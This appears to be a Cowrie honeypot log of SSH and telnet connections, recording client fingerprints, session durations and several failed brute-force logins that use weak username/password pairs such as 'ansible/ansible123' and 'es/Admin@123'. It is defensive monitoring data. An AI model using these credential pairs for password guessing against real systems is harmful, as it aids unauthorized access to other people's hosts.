{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52014,"dst_ip":"159.203.135.109","dst_port":22,"session":"993bba57cd1f","protocol":"ssh","message":"New connection: 159.203.92.129:52014 (159.203.135.109:22) [session: 993bba57cd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:38.711909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:38.715563Z","src_ip":"159.203.92.129","session":"993bba57cd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:38.735800Z","src_ip":"159.203.92.129","session":"993bba57cd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible111","message":"login attempt [ansible/ansible111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:38.745517Z","src_ip":"159.203.92.129","session":"993bba57cd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":51126,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80bbf449f76","protocol":"telnet","message":"New connection: 45.87.43.158:51126 (159.203.135.109:23) [session: c80bbf449f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:39.392388Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:39.751254Z","src_ip":"159.203.92.129","session":"993bba57cd1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.614644289016724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:39.831255Z","src_ip":"103.157.135.60","session":"eeb30e20d6d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38407611846924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:42.732080Z","src_ip":"103.157.135.60","session":"e94138a3d359","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.01564359664917,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:46.585922Z","src_ip":"139.162.207.207","session":"209e3a11a0e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":50640,"dst_ip":"159.203.135.109","dst_port":23,"session":"4723ae21f58b","protocol":"telnet","message":"New connection: 136.144.203.5:50640 (159.203.135.109:23) [session: 4723ae21f58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:49.244298Z"}
{"eventid":"cowrie.session.closed","duration":40.36220932006836,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:49.643488Z","src_ip":"139.162.207.207","session":"78a274e01b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":56732,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d215cd6dde4","protocol":"telnet","message":"New connection: 45.87.43.158:56732 (159.203.135.109:23) [session: 3d215cd6dde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:49.946611Z"}
{"eventid":"cowrie.session.closed","duration":37.308326959609985,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:50.832559Z","src_ip":"139.162.207.207","session":"2d39a381802c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49250,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f9e577c243a","protocol":"telnet","message":"New connection: 139.162.207.207:49250 (10.17.0.5:23) [session: 3f9e577c243a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:52.402707Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54596,"dst_ip":"10.17.0.5","dst_port":23,"session":"8271a41fd683","protocol":"telnet","message":"New connection: 103.157.135.60:54596 (10.17.0.5:23) [session: 8271a41fd683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:53.583636Z"}
{"eventid":"cowrie.session.closed","duration":30.65566110610962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:54.197984Z","src_ip":"45.87.43.158","session":"cd1083f00311","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54496,"dst_ip":"10.17.0.5","dst_port":23,"session":"f62e076d4e33","protocol":"telnet","message":"New connection: 103.157.135.60:54496 (10.17.0.5:23) [session: f62e076d4e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:54.562702Z"}
{"eventid":"cowrie.session.closed","duration":31.12223982810974,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:55.689213Z","src_ip":"45.87.43.158","session":"dbdef860c6b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54120,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4a6c7031fc","protocol":"telnet","message":"New connection: 103.157.135.60:54120 (10.17.0.5:23) [session: 1f4a6c7031fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:56.321558Z"}
{"eventid":"cowrie.session.closed","duration":30.783625602722168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:56.375889Z","src_ip":"45.87.43.158","session":"7e0274dafe34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":55416,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbab4894dee","protocol":"telnet","message":"New connection: 103.157.135.60:55416 (10.17.0.5:23) [session: 3bbab4894dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:57.017000Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":33036,"dst_ip":"10.17.0.5","dst_port":23,"session":"e57444926a6a","protocol":"telnet","message":"New connection: 103.157.135.60:33036 (10.17.0.5:23) [session: e57444926a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:58.708624Z"}
{"eventid":"cowrie.session.closed","duration":40.36956548690796,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:49:59.754406Z","src_ip":"139.162.207.207","session":"cdefd3c6cb89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.300172567367554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:01.242558Z","src_ip":"45.87.43.158","session":"131a0aa15a5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15255880355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:03.909738Z","src_ip":"45.87.43.158","session":"ad52065bad12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":51504,"dst_ip":"159.203.135.109","dst_port":23,"session":"422882aef490","protocol":"telnet","message":"New connection: 45.87.43.158:51504 (159.203.135.109:23) [session: 422882aef490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:05.998602Z"}
{"eventid":"cowrie.session.closed","duration":30.933629035949707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:06.111382Z","src_ip":"45.87.43.158","session":"506363167604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58118462562561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:07.482983Z","src_ip":"45.87.43.158","session":"1e73ab9e1641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.388976097106934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:08.893806Z","src_ip":"45.87.43.158","session":"0de592941674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.203.5","src_port":33168,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c007164eca6","protocol":"telnet","message":"New connection: 136.144.203.5:33168 (159.203.135.109:23) [session: 6c007164eca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:09.353017Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":54162,"dst_ip":"10.17.0.5","dst_port":23,"session":"787a9c1c5013","protocol":"telnet","message":"New connection: 103.157.135.60:54162 (10.17.0.5:23) [session: 787a9c1c5013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:10.027718Z"}
{"eventid":"cowrie.session.closed","duration":30.827468633651733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:10.219787Z","src_ip":"45.87.43.158","session":"c80bbf449f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":45250,"dst_ip":"10.17.0.5","dst_port":22,"session":"23be2a2ddcc9","protocol":"ssh","message":"New connection: 125.31.2.160:45250 (10.17.0.5:22) [session: 23be2a2ddcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:13.967483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:13.972700Z","src_ip":"125.31.2.160","session":"23be2a2ddcc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:14.191154Z","src_ip":"125.31.2.160","session":"23be2a2ddcc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"Admin@123","message":"login attempt [es/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:15.096385Z","src_ip":"125.31.2.160","session":"23be2a2ddcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":56546,"dst_ip":"10.17.0.5","dst_port":23,"session":"86a84a34035e","protocol":"telnet","message":"New connection: 139.162.207.207:56546 (10.17.0.5:23) [session: 86a84a34035e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:15.322973Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:16.318193Z","src_ip":"125.31.2.160","session":"23be2a2ddcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.87.43.158","src_port":59670,"dst_ip":"159.203.135.109","dst_port":23,"session":"62464ff72a87","protocol":"telnet","message":"New connection: 45.87.43.158:59670 (159.203.135.109:23) [session: 62464ff72a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:16.343562Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"9898218ee848","protocol":"telnet","message":"New connection: 103.157.135.60:40224 (10.17.0.5:23) [session: 9898218ee848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:17.716038Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":40576,"dst_ip":"10.17.0.5","dst_port":23,"session":"891eab76912c","protocol":"telnet","message":"New connection: 103.157.135.60:40576 (10.17.0.5:23) [session: 891eab76912c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:18.987799Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":39486,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b97b8bf8c7","protocol":"telnet","message":"New connection: 103.157.135.60:39486 (10.17.0.5:23) [session: 04b97b8bf8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:20.356620Z"}
{"eventid":"cowrie.session.closed","duration":31.278120517730713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:20.522269Z","src_ip":"136.144.203.5","session":"4723ae21f58b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":44328,"dst_ip":"10.17.0.5","dst_port":23,"session":"a53fd92f55f7","protocol":"telnet","message":"New connection: 103.157.135.60:44328 (10.17.0.5:23) [session: a53fd92f55f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:21.016562Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":47416,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2798235602c","protocol":"telnet","message":"New connection: 103.157.135.60:47416 (10.17.0.5:23) [session: e2798235602c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:21.470239Z"}
{"eventid":"cowrie.session.closed","duration":31.952658891677856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:21.899142Z","src_ip":"45.87.43.158","session":"3d215cd6dde4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":49136,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2917c36d31f","protocol":"telnet","message":"New connection: 103.157.135.60:49136 (10.17.0.5:23) [session: b2917c36d31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:22.361718Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":47808,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d94a18f3651","protocol":"telnet","message":"New connection: 103.157.135.60:47808 (10.17.0.5:23) [session: 1d94a18f3651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:22.660743Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":53578,"dst_ip":"10.17.0.5","dst_port":23,"session":"4295bd8a0926","protocol":"telnet","message":"New connection: 103.157.135.60:53578 (10.17.0.5:23) [session: 4295bd8a0926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:24.635527Z"}
{"eventid":"cowrie.session.closed","duration":31.11332654953003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:24.696844Z","src_ip":"103.157.135.60","session":"8271a41fd683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54116,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae473270b39","protocol":"ssh","message":"New connection: 159.203.92.129:54116 (159.203.135.109:22) [session: 5ae473270b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:25.239565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:25.250341Z","src_ip":"159.203.92.129","session":"5ae473270b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:25.256734Z","src_ip":"159.203.92.129","session":"5ae473270b39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible123","message":"login attempt [ansible/ansible123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:25.270787Z","src_ip":"159.203.92.129","session":"5ae473270b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.092861890792847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:25.655425Z","src_ip":"103.157.135.60","session":"f62e076d4e33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":50212,"dst_ip":"10.17.0.5","dst_port":23,"session":"b487d6ad44c9","protocol":"telnet","message":"New connection: 103.157.135.60:50212 (10.17.0.5:23) [session: b487d6ad44c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:25.936426Z"}
{"eventid":"cowrie.session.closed","duration":33.841119050979614,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:26.243722Z","src_ip":"139.162.207.207","session":"3f9e577c243a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:26.357751Z","src_ip":"159.203.92.129","session":"5ae473270b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":51546,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d1f529545e5","protocol":"telnet","message":"New connection: 103.157.135.60:51546 (10.17.0.5:23) [session: 9d1f529545e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:26.472004Z"}
{"eventid":"cowrie.session.closed","duration":30.37593936920166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:26.697358Z","src_ip":"103.157.135.60","session":"1f4a6c7031fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62807011604309,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:27.644999Z","src_ip":"103.157.135.60","session":"3bbab4894dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":59114,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b276d5d804d","protocol":"telnet","message":"New connection: 103.157.135.60:59114 (10.17.0.5:23) [session: 9b276d5d804d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:28.627872Z"}
{"eventid":"cowrie.session.closed","duration":31.531169652938843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:30.239676Z","src_ip":"103.157.135.60","session":"e57444926a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":35796,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4ad109bef8","protocol":"telnet","message":"New connection: 103.157.135.60:35796 (10.17.0.5:23) [session: ab4ad109bef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:50:33.367079Z"}
